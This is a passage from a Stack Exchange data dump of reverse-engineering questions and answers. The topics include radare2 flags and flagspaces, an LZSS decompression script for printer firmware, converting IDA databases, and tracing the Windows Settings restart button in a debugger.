resolve to &lt;code&gt;0x004000b0&lt;/code&gt;? Doing &lt;code&gt;afl&lt;/code&gt;, I see&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; afl&#xA;0x004000b0    3 63           entry0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can seek to that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; s entry0&#xA;[0x004000b0]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why can I seek to &lt;code&gt;entry0&lt;/code&gt; but not to &lt;code&gt;_start&lt;/code&gt;, they have the same address?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-02-04T05:45:41.227" LastActivityDate="2018-02-04T05:45:41.227" Title="Radare can't seek to _start symbol" Tags="|radare2|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17382" PostTypeId="2" ParentId="17379" CreationDate="2018-02-04T05:20:28.127" Score="4" Body="&lt;p&gt;You can't seek to any symbol that shown by &lt;code&gt;is&lt;/code&gt;, you can only seek to &quot;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/basic_commands/flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;flags&lt;/a&gt;&quot; or addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;f&lt;/code&gt; command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. For example, in order to select the 'symbols' flagspace and list only the flags inside it, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; fs symbols&#xA;[0x004049a0]&amp;gt; f&#xA;0x00402a00 261 main&#xA;0x004049a0 41 entry0&#xA;0x0061e600 8 obj.__bss_start&#xA;0x00413c8c 9 sym._fini&#xA;0x0061e610 4 obj.optind&#xA;0x004022b8 26 sym._init&#xA;0x0061e620 8 obj.program_invocation_name&#xA;0x0061e600 0 loc.__bss_start&#xA;0x0061f368 0 loc._end&#xA;0x00412960 38 sym._obstack_memory_used&#xA;0x0061e5f8 8 obj.obstack_alloc_failed_handler&#xA;0x00412780 17 sym._obstack_begin&#xA;0x0061e640 8 obj.stderr&#xA;0x004128f0 106 sym._obstack_free&#xA;0x004128c0 48 sym._obstack_allocated_p&#xA;0x0061e618 8 obj.optarg&#xA;0x004127a0 21 sym._obstack_begin_1&#xA;0x004127c0 245 sym._obstack_newchunk&#xA;0x0061e608 8 obj.stdout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use radare's internal &lt;code&gt;grep&lt;/code&gt; to find specific flags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; f~imp&#xA;0x004004d0 16 sym.imp.puts&#xA;0x004004e0 16 sym.imp.system&#xA;0x004004f0 16 sym.imp.__libc_start_main&#xA;0x00400500 16 sym.imp.strcmp&#xA;0x00400000 16 loc.imp.__gmon_start&#xA;0x00400510 16 sym.imp.__isoc99_scanf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-02-04T05:20:28.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17383" PostTypeId="2" ParentId="13526" CreationDate="2018-02-04T08:56:52.347" Score="0" Body="&lt;p&gt;I  solved this problem by configure the window PATH environment variable to point to the WinDbg64 for and not the x86 version.&lt;/p&gt;&#xA;" OwnerUserId="17983" LastActivityDate="2018-02-04T08:56:52.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17386" PostTypeId="1" AcceptedAnswerId="17389" CreationDate="2018-02-04T18:40:48.590" Score="-2" ViewCount="895" Body="&lt;p&gt;So I got this &lt;a href=&quot;https://drive.google.com/open?id=1HHLiCKIm7I1J7GrRmn6d74T_NWlEisIq&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; with an unknown extension. The file is an event flow code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I analysed the file (with HxD) and it seems to be compressed in some way because you can read some plain text there. I have some coding skills but I never done this kind of things before&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... Is there any good tutorial to start decompressing/decoding unknown files? Or at least, is there any good tool I should use for this job?&#xA;Or any advice/tip for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="23169" LastEditorUserId="23169" LastEditDate="2018-02-05T15:20:26.487" LastActivityDate="2018-02-05T15:20:26.487" Title="Unknown game file decompress" Tags="|file-format|decryption|decompress|" AnswerCount="1" CommentCount="2" ClosedDate="2018-02-09T20:08:51.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="17387" PostTypeId="2" ParentId="16897" CreationDate="2018-02-04T19:08:30.693" Score="-2" Body="&lt;p&gt;Jmp2it has option to pause before shellcode executes so you have time to attach debugger&lt;/p&gt;&#xA;" OwnerUserId="23170" LastActivityDate="2018-02-04T19:08:30.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17388" PostTypeId="1" AcceptedAnswerId="17392" CreationDate="2018-02-04T22:47:40.983" Score="1" ViewCount="797" Body="&lt;p&gt;When I use a command like &lt;code&gt;fs&lt;/code&gt;, I get output like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0    0 * strings&#xA;1    6 * symbols&#xA;2   14 * sections&#xA;3    0 * relocs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's clear to me on the left is an incrementing number that represents the flagspace. It's not clear to me what the number on the right is; &lt;code&gt;fs&lt;/code&gt; is defined as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: fs [*] [+-][flagspace|addr] # Manage flagspaces&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-02-05T17:39:36.090" Title="Is there a way to get the headers with the Radare output?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17389" PostTypeId="2" ParentId="17386" CreationDate="2018-02-05T01:00:05.793" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;it seems to be compressed in some way because you can read some plain text there&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This statement is contradictory. If the binary were compressed or encrypted in its entirety there would not be any readable ASCII strings in a hexdump. Readable ASCII data indicates at the very least that there are regions within the binary that are not compressed or encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way of determining whether a binary is compressed or encrypted is through visualization. Visualization of this binary shows that Rad Lexus is correct: it is neither compressed nor encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9mM7o.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9mM7o.png&quot; alt=&quot;vis 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aVckT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVckT.png&quot; alt=&quot;ent 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ONdVk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ONdVk.png&quot; alt=&quot;vis 2&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OQg9C.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQg9C.png&quot; alt=&quot;ent 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p8uqQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8uqQ.png&quot; alt=&quot;binwalk entropy scan&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compressed and encrypted data have an entropy of close to 1 (on a scale of 0 to 1). In this file it is never higher than 0.8, indicating conclusively that there are no compressed or encrypted regions within the binary. The spike in entropy toward the end of the file corresponds to the relatively contiguous block of ASCII data shown by the blue coloring in the 1st and 3rd images.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know how the data in this file is accessed, you need to examine the processes that read from and write to this file, as  Paweł Łukasik said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17262/binwalk-alternative/17270#17270&quot;&gt;advice&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-02-05T01:00:05.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17390" PostTypeId="2" ParentId="17388" CreationDate="2018-02-05T04:27:58.047" Score="0" Body="&lt;p&gt;Are you querying about The Count of Specific flagspace  ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x01012d6c]&amp;gt; fs&#xA;0 2105 . strings&#xA;1    1 . symbols&#xA;2    8 * sections&#xA;3  381 . relocs&#xA;4  381 . imports&#xA;5    0 . resources&#xA;[0x01012d6c]&amp;gt; fs symbols; f| wc -l&#xA;1&#xA;[0x01012d6c]&amp;gt; fs sections  ; f | wc -l&#xA;8&#xA;[0x01012d6c]&amp;gt; fs imports  ; f | wc -l&#xA;381&#xA;[0x01012d6c]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-05T04:27:58.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17392" PostTypeId="2" ParentId="17388" CreationDate="2018-02-05T07:12:48.433" Score="3" Body="&lt;p&gt;As @blabb said, this number represents the amount of flags in each flagspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0    0 * strings&#xA;1    6 * symbols&#xA;2   14 * sections&#xA;3    0 * relocs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The flagspace &quot;strings&quot; has 0 flags&lt;/li&gt;&#xA;&lt;li&gt;The flagspace &quot;symbols&quot; has 6 flags&lt;/li&gt;&#xA;&lt;li&gt;The flagspace &quot;sections&quot; has 14 flags&lt;/li&gt;&#xA;&lt;li&gt;The flagspace &quot;relocs&quot; has 0 flags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But more generally, the title of your question asks whether there's &quot;a way to get the headers with the Radare output?&quot;, the answer for this is &lt;strong&gt;yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting the headers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of radare's informative commands (which print information) shows you a key-value output. Take for example the &lt;code&gt;ie&lt;/code&gt; command to print the entrypoints of the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400530]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x00400530 paddr=0x00000530 baddr=0x00400000 laddr=0x00000000 haddr=0x00000018 type=program&#xA;&#xA;1 entrypoints&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that each value is printed with its key (vaddr, paddr, type and so on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other commands would not show you the headers, just as your example with the &lt;code&gt;fs&lt;/code&gt; command. So what can you do to show this information? Simply, use the &lt;em&gt;JSON&lt;/em&gt; representation of the output. Most of radare2's informative commands can be appended with a &lt;code&gt;j&lt;/code&gt; to format the output as &lt;em&gt;JSON&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, printing &lt;code&gt;fsj&lt;/code&gt; will show you the flagspaces in JSON. I'll add &lt;code&gt;~{}&lt;/code&gt; to format the output with &lt;em&gt;JSON&lt;/em&gt; indention for readabilty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400530]&amp;gt; fsj~{}&#xA;[&#xA;  {&#xA;    &quot;name&quot;: &quot;strings&quot;,&#xA;    &quot;count&quot;: 5,&#xA;    &quot;selected&quot;: true&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;symbols&quot;,&#xA;    &quot;count&quot;: 36,&#xA;    &quot;selected&quot;: false&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;sections&quot;,&#xA;    &quot;count&quot;: 82,&#xA;    &quot;selected&quot;: false&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;relocs&quot;,&#xA;    &quot;count&quot;: 6,&#xA;    &quot;selected&quot;: false&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;imports&quot;,&#xA;    &quot;count&quot;: 6,&#xA;    &quot;selected&quot;: false&#xA;  }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. This way you can easily spot the &quot;count&quot; header which is corresponding to the output without &lt;code&gt;j&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-02-05T17:39:36.090" LastActivityDate="2018-02-05T17:39:36.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17394" PostTypeId="1" CreationDate="2018-02-05T14:09:30.250" Score="0" ViewCount="155" Body="&lt;p&gt;I am looking to outsource a disassembly project. Basically I need to add custom code to a MCP5xxx MCU and change the function of a certain part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have identified, named and found the axis for around 6800 lookup tables, identified blank data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have little programming experience I need to outsource this but I have to have it done within a week. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I choose two freelancers in say two countries to speed things up how can I make sure that they're not overlapping each other and the disassembled code is correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What systems are used in such cases? IDA pro seems to be the most popular choice for this MCU&lt;/p&gt;&#xA;" OwnerUserId="18094" LastActivityDate="2018-02-06T09:35:46.443" Title="Can more than one person disassemble part of a file?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="1" ClosedDate="2018-02-15T18:29:33.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="17396" PostTypeId="1" AcceptedAnswerId="25121" CreationDate="2018-02-05T21:25:06.170" Score="6" ViewCount="1062" Body="&lt;p&gt;I am trying to reverse engineer my HP printer's firmware, so I dumped the SPI chip from the board, and there are a lot of strings, but almost always look something like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ykhbz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ykhbz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed a pattern that sometimes after every 8 bytes FF byte is added. However, this is not the whole pattern. Does anyone have a clue what could this be? It is not the dump error since I extracted some JPEG images from uncompressed parts just fine, and multiple dumps produce the same file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I figured it could be LZSS compression, and I managed to decompress this &lt;a href=&quot;https://drive.google.com/open?id=1Vc3j_ETLwz_vuzFImWI_oa9NXPJXKOfp&quot; rel=&quot;nofollow noreferrer&quot;&gt;part&lt;/a&gt; and got &lt;a href=&quot;https://drive.google.com/open?id=1gV-igoVCqcfn3NozccNx5dVqHBrX0Z6J&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&#xA;However, when I tried the same script on the &lt;a href=&quot;https://drive.google.com/open?id=1AAaOLchr6K3CpmSArGPDAV4_5lkZ4vDi&quot; rel=&quot;nofollow noreferrer&quot;&gt;other part&lt;/a&gt; which has the same pattern it does not decompress properly. What could be the reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the QuickBMS script for LZSS algorithm (code below).&#xA;Ideally, I would like to do it in python, but the scripts I found did not produce the good result even with the same LZSS parameters. I am not super familiar with QuickBMS scripting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# lzss decompression function written in 100% bms scripting&#xA;&#xA;set NAME string &quot;unpacked.dat&quot;&#xA;get ZSIZE asize&#xA;math SIZE = ZSIZE&#xA;math SIZE *= 10&#xA;log MEMORY_FILE 0 ZSIZE&#xA;callfunction LZSS_BMS_DUMP&#xA;&#xA;# you must set: MEMORY_FILE (input), ZSIZE (input size), MEMORY_FILE2 (output), SIZE (max size)&#xA;startfunction LZSS_BMS_DUMP&#xA;    set EI long 12&#xA;    set EJ long 4&#xA;    set P long 2&#xA;    set rless long P&#xA;    set init_chr long 0x00&#xA;&#xA;    set N long 1&#xA;    math N &amp;lt;&amp;lt;= EI&#xA;    set F long 1&#xA;    math F &amp;lt;&amp;lt;= EJ&#xA;&#xA;    # pre-allocate memory for faster performances&#xA;    putvarchr MEMORY_FILE3 N 0&#xA;    for i = 0 &amp;lt; N&#xA;        putvarchr MEMORY_FILE3 i init_chr&#xA;    next i&#xA;    putvarchr MEMORY_FILE2 SIZE 0&#xA;&#xA;    math r = N&#xA;    math r -= F&#xA;    math r -= rless&#xA;    math N -= 1&#xA;    math F -= 1&#xA;&#xA;    math src = 0&#xA;    math dst = 0&#xA;    math srcend = ZSIZE&#xA;    math dstend = SIZE&#xA;&#xA;    math flags = 0&#xA;    for src = 0 &amp;lt; srcend&#xA;        if flags &amp;amp; 0x100&#xA;        else&#xA;            getvarchr flags MEMORY_FILE src&#xA;            math src += 1&#xA;            math flags |= 0xff00&#xA;        endif&#xA;        if flags &amp;amp; 1&#xA;            getvarchr c MEMORY_FILE src&#xA;            math src += 1&#xA;            putvarchr MEMORY_FILE2 dst c&#xA;            math dst += 1&#xA;            putvarchr MEMORY_FILE3 r c&#xA;            math r += 1&#xA;            math r &amp;amp;= N&#xA;        else&#xA;            getvarchr i MEMORY_FILE src&#xA;            math src += 1&#xA;            getvarchr j MEMORY_FILE src&#xA;            math src += 1&#xA;            math TMP = j&#xA;            math TMP &amp;gt;&amp;gt;= EJ&#xA;            math TMP &amp;lt;&amp;lt;= 8&#xA;            math i |= TMP&#xA;            math j &amp;amp;= F&#xA;            math j += P&#xA;            for k = 0 &amp;lt;= j&#xA;                math TMP = i&#xA;                math TMP += k&#xA;                math TMP &amp;amp;= N&#xA;                getvarchr c  MEMORY_FILE3 TMP&#xA;                putvarchr MEMORY_FILE2 dst c&#xA;                math dst += 1&#xA;                putvarchr MEMORY_FILE3 r c&#xA;                math r += 1&#xA;                math r &amp;amp;= N&#xA;            next k&#xA;        endif&#xA;        math flags &amp;gt;&amp;gt;= 1&#xA;    next&#xA;    math SIZE = dst&#xA;    log NAME 0 SIZE MEMORY_FILE2&#xA;endfunction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23171" LastEditorUserId="23171" LastEditDate="2018-02-08T14:13:55.813" LastActivityDate="2020-05-26T09:05:41.207" Title="Issues with reversing LZSS compression algorithm" Tags="|firmware|hex|decompress|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17397" PostTypeId="1" CreationDate="2018-02-06T05:48:58.293" Score="8" ViewCount="2025" Body="&lt;p&gt;With the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;noreferrer&quot;&gt;release of IDA 7.0 Freeware&lt;/a&gt;, I've been wanting to open some of my academic projects I've been doing with IDA 5 in the new version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the database format has changed. I have a set of &lt;code&gt;.idb&lt;/code&gt; files which will not be opened by IDA 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opening the file directly in IDA as recommended &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/238.shtml&quot; rel=&quot;noreferrer&quot;&gt;in the manual&lt;/a&gt;. It's not listed as an option in the open menu, and when forced, it says it can't disassemble the file.&lt;/li&gt;&#xA;&lt;li&gt;Rename the &lt;code&gt;.idb&lt;/code&gt; file to &lt;code&gt;.id0&lt;/code&gt;. It first reports that the file is not closed, asking to repair it. If I say Yes, it reports &lt;code&gt;bTree error: bad B-tree header&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Rename the &lt;code&gt;.idb&lt;/code&gt; file to &lt;code&gt;.i64&lt;/code&gt;. It shows &lt;code&gt;Please use 32-bit version of IDA to open &amp;lt;file&amp;gt;&lt;/code&gt;. There is no 32-bit version of IDA 7 Freeware.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23189" LastEditorUserId="23189" LastEditDate="2018-02-06T07:36:54.680" LastActivityDate="2018-04-17T23:12:49.863" Title="Upgrading IDA Free 5 Database to IDA 7 Freeware" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17398" PostTypeId="2" ParentId="17394" CreationDate="2018-02-06T07:50:21.633" Score="1" Body="&lt;p&gt;In general what you're looking for is rather impossible - one needs to tinker with the whole binary in order to force it to make sense aka decompile (this is an opinion). Although you can try any of several existing (not sure how good they are) tools to parallelise work on the same IDA Pro database. IMMV. I recall there were several announced in the last few years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12054/is-there-an-actively-maintained-collaboration-plugin-for-ida&quot;&gt;Is there an actively maintained collaboration plugin for IDA?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cseagle/collabREate&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/cseagle/collabREate&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/CubicaLabs/IDASynergy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CubicaLabs/IDASynergy&lt;/a&gt;&#xA;&lt;a href=&quot;https://solidarity.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://solidarity.re/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2018-02-06T07:50:21.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17399" PostTypeId="2" ParentId="17394" CreationDate="2018-02-06T09:35:46.443" Score="4" Body="&lt;p&gt;First of all, sorry if my answer sounds rude, but I prefer to be realistic instead of condescending.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As I have little programming experience I need to outsource this but I&#xA;  have to have it done within a week.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most reverse engineering projects, even when done by seasoned reversers, cannot be done &quot;within a week&quot;, unless they are trivial.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I choose two freelancers in say two countries to speed things up how&#xA;  can I make sure that they're not overlapping each other and the &#xA;  disassembled code is correct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Short answer: you cannot be sure. Also, most likely, having 2 people working on the same &lt;em&gt;database&lt;/em&gt; will slow down it instead of speeding up. It might speed things up when working on different, isolated, pieces of code/binaries and, still, communication between different time zones, agreeing things, explaining what one did to the other, etc... will slow down the project.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What systems are used in such cases? IDA pro seems to be the most&#xA;  popular choice for this MCU&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA is the de-facto tool for reverse engineering, although other tools might be used. But, in any case: reverse engineering an ECU (probably) by 2 persons within a week? Yeah, no. I don't think it will work unless you find out people that already have done that. Good luck...&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-02-06T09:35:46.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17400" PostTypeId="2" ParentId="17127" CreationDate="2018-02-06T14:17:56.053" Score="22" Body="&lt;p&gt;As promised, I am back to post a &lt;strong&gt;more specific answer&lt;/strong&gt; to the question that was asked by the OP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decided to write this as a separate answer as I believe that this content stands out on its own and would not properly fit in with either of the two answers that I posted above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addressing his first issue :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In this case though, the whole settings is a window of its own. The&#xA;  button does not appear in Spy++&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, the button &lt;em&gt;does&lt;/em&gt; appear when using tools other than Spy++.&lt;br&gt;&#xA;I am pasting  screenshots of 2 tools with the help of which the properties of the RESTART button can be discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dd318521(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;INSPECT TOOL&lt;/a&gt; that is a part of the Microsoft SDK :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vp51s.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vp51s.png&quot; alt=&quot;INSPECT Tool showing Properties of the Button&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also using the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms727247(v=vs.100).aspx&quot; rel=&quot;noreferrer&quot;&gt;UI Spy Tool&lt;/a&gt; (Please note that &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/dd373661(v=vs.110).aspx&quot; rel=&quot;noreferrer&quot;&gt;many other tools&lt;/a&gt; can also be used) for this purpose ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3aUwY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3aUwY.png&quot; alt=&quot;Properties of the RESTART Button using the UI Spy Tool&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we will see what code we BREAK ON when we click the RESTART button :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, Run the &lt;strong&gt;System Settings Manager&lt;/strong&gt; (&lt;strong&gt;SystemSettings.exe&lt;/strong&gt; would be seen in the Task Manager).&lt;br&gt;&#xA;&quot;&lt;strong&gt;Attach&lt;/strong&gt;&quot; to the &lt;em&gt;SystemSettings.exe&lt;/em&gt; process with a debugger (I used the [excellent] x64dbg Debugger for this purpose).&lt;br&gt;&#xA;Make sure that you tick the &lt;em&gt;Break on DLL Load&lt;/em&gt; in the Debugger Settings as shown below :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zPUtC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zPUtC.png&quot; alt=&quot;DLL Load&quot;&gt;&lt;/a&gt;      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we *click on the &lt;em&gt;RESTART NOW&lt;/em&gt; button* (of the &lt;em&gt;Windows Settings&lt;/em&gt; Window). We will break in the debugger as the &quot;&lt;strong&gt;SettingsHandlers_nt.dll&lt;/strong&gt;&quot; gets loaded into the process.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is the main dll that handles the events (clicks etc) of the Settings Window.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yVLFg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yVLFg.png&quot; alt=&quot;SettingsHandlers_nt.dll Loaded&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WNZmn.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WNZmn.png&quot; alt=&quot;We land here in the SettingsHandlers_nt.dll module&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a part of the Control Flow Graph that actually takes the  decision to &#xA;go for a restart :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5fiwQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fiwQ.png&quot; alt=&quot;Restarts as Single User Mode&quot;&gt;&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Somehow the results are not the same what is available via&#xA;  InitiateSystemShutdownEx or InitiateShutdown WinAPIs, especially&#xA;  concerning installation of updates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The OP is right .&lt;br&gt;&#xA;The &lt;strong&gt;&lt;em&gt;actual Decision-Making Part for the 